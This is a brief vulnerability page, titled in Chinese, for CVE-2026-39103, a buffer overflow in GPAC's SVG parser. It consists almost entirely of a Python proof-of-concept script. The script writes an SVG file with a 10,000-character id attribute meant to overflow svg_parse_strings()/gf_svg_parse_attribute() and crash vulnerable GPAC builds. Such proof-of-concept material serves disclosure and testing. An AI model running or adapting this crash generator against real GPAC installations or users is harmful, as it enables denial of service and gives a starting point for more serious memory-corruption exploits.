CVE-2026-39103 GPAC缓冲区溢出漏洞

import sys # PoC for CVE-2026-39103: GPAC Buffer Overflow in SVG Parsing # This script generates a malicious SVG file designed to trigger # the buffer overflow in svg_parse_strings() / gf_svg_parse_attribute(). # Create a long payload to overflow the buffer payload = "A" * 10000 # Construct the malicious SVG content svg_content = f'''<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"> <!-- Injecting long string into an attribute to trigger overflow --> <rect id="{payload}" x="10" y="10" width="80" height="80" fill="red"/> </svg> ''' # Write the payload to a file filename = "CVE-2026-39103_poc.svg" with open(filename, "w") as f: f.write(svg_content) print(f"[+] PoC file generated: {filename}") print("[+] Open this file with a vulnerable version of GPAC to reproduce the crash.")